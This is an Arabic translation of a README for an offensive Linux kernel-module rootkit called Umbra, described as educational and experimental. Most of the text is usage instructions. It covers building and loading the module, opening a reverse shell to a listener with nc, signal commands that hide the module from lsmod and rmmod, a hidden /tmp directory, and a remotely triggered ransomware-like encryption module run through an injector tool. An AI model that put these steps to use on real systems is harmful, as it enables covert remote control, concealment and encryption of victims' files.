
أداة LKM rootkit تستهدف إصدارات النواة 4.x و5.x، تفتح بابًا خلفيًا (backdoor) يمكنه إطلاق قشرة عكسية (reverse shell) إلى مضيف بعيد، وتشغيل برمجيات خبيثة (malware) والمزيد.

Umbra هو روتكيت LKM تجريبي قابل للتحكم عن بُعد لأنوية 4.x و5.x (حتى 5.7)، يفتح بابًا خلفيًا شبكيًا يمكنه تشغيل قواقع عكسية إلى مضيفين بعيدين، وإطلاق برمجيات خبيثة عن بُعد، والمزيد.
لا يزال الروتكيت قيد التطوير، على الرغم من أن الميزات المذكورة أدناه تعمل بالفعل بشكل كامل.

ملاحظة: تم تطوير هذا الروتكيت واختباره باستخدام النواة 5.4.0 وUbuntu 18.04.

المزيد من الوظائف ستأتي في تحديثات لاحقة.
هذا الروتكيت لأغراض تعليمية بحتة. لست مسؤولًا عن أي ضرر ناتج عن استخدامه غير المقصود.
ضع في اعتبارك أيضًا أن Umbra يضم فقط آليات إخفاء وحماية خفيفة. ليس الغرض منه استخدامه في سيناريو حقيقي.
مهم: إذا كنت ستختبر هذا الروتكيت على جهازك الخاص، فإنني أوصي بشدة باستخدام جهاز افتراضي (VM).
حول وحدات Umbra: تستخدم وحدة ransom آلية تشفير بسيطة، لكنها تستطيع وبالتأكيد ستقوم بتشفير أي مجلد على جهازك. على الرغم من إمكانية فك تشفير الملفات بسهولة، إلا أنني بالتأكيد لا أنصح بتشغيلها على مجلد الجذر أو ما شابه إلا في بيئة خاضعة للتحكم.
تذكر أنه يجب أن يتوفر لديك نواة 4.x أو 5.x.
apt install linux-headers-$(uname -r)
هيئ مسار التضمين لديك ليشمل دليل رأس النواة (عادة تحت /usr/src). إذا كنت تستخدم vscode، يمكنك الاطلاع على .vscode/c_cpp_properties.json كمثال على الدلائل التي يجب تضمينها.
استنسخ المشروع
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
إذا كنت قد شغّلت السكربت مسبقًا وترغب فقط في تثبيت Umbra في النواة، يمكنك تشغيل:
sudo insmod ./umbra.ko
تأكد من أن Umbra ليس في الوضع الخفي، وإلا سيفشل هذا.
sudo rmmod umbra
kill -50 1
عيِّن عنوان IP والمنفذ المطلوبين في CONFIG.H قبل بناء الروتكيت. بشكل افتراضي 127.0.0.1:5888
ابدأ بالاستماع على المضيف البعيد.
nc -lvp 5888
kill -51 1
ملاحظة: يحاول Umbra أيضًا تشغيل القوقعة العكسية عند التحميل.
سيمنع هذا ظهور الروتكيت بواسطة أوامر مثل lsmod، أو إزالته عبر rmmod.
kill -52 1
يعيد هذا الحالة من الوضع الخفي إذا كان مفعلًا.
kill -53 1
يمكن تشغيل Umbra Injector إما قبل تثبيت Umbra (وبالتالي الحصول على القوقعة بمجرد تثبيته)، أو بعد تثبيت Umbra على النظام المستهدف.
./injector -S 127.0.0.1
يستمع الباب الخلفي للحزم التي تحمل الحمولة التالية:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
يمكنك أيضًا بناء أداة الحقن الخاصة بك باستخدام مكتبتي RawTCP.
سيمنع هذا ظهور الروتكيت بواسطة أوامر مثل lsmod، أو إزالته عبر rmmod.
./injector -i 127.0.0.1
يعيد هذا الحالة من الوضع الخفي إذا كان مفعلًا.
./injector -u 127.0.0.1
يمكنك الاطلاع على المعلومات الكاملة حول كيفية تشغيل Umbra Injector عن طريق:
./injector -h
سيتم تخزين وحدات Umbra بواسطة سكربت install.sh في /tmp/umbra، حيث سيخفيها Umbra. لن يكون الدليل مرئيًا بواسطة أوامر مثل ls أو ما شابه.
يمكن لهذه الوحدة تشغيل هجمات شبيهة ببرامج الفدية عن بُعد عبر Umbra Injector. تظهر الملفات المشفرة بالامتداد .ubr.
حاليًا آلية التشفير هي NOP بسيط على مستوى البتات، كإثبات للمفهوم. يمكنك تعديل الوحدة لتضمين خوارزمية التشفير الخاصة بك.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
تطوير هذا الروتكيت تطلب قدرًا كبيرًا من البحث حول وحدات LKM وتقنيات الروتكيت. فيما يلي قائمة غير مكتملة بالموارد التي استخدمتها: كيفية إنشاء LKMs:
مرجع استدعاءات نظام لينكس:
بعض مراجع الروتكيت:
هذا المشروع مرخّص بموجب رخصة GPLv2. انظر LICENSE